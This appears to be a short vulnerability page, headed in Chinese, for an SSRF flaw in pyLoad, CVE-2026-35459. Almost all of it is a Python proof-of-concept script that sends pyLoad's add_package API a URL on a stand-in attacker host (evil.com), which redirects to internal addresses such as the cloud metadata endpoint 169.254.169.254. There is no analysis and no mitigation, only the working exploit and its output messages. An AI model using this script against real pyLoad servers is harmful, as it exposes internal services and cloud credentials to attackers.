CVE-2026-35459 pyLoad服务端请求伪造漏洞

# PoC for CVE-2026-35459: pyLoad SSRF via Redirect Bypass # This script simulates sending a malicious URL to pyLoad. # The attacker controls 'http://evil.com/redirect' which redirects to an internal IP. import requests # The target pyLoad instance URL target = "http://127.0.0.1:8000/api/add_package" # The malicious payload: An external URL that redirects to an internal service # Example: http://evil.com/302.php redirects to http://169.254.169.254/latest/meta-data/ payload = { "url": "http://evil.com/redirect_to_internal", "name": "malicious_download" } # Authenticated session cookie (if required, though PR:N is stated, ADD permission is needed) cookies = { "pyload_session": "attacker_session_id" } try: print("[*] Sending payload to pyLoad...") response = requests.post(target, data=payload, cookies=cookies, timeout=5) if response.status_code == 200: print("[+] Success! URL accepted.") print("[+] pyLoad will now follow the redirect to the internal address.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error: {e}")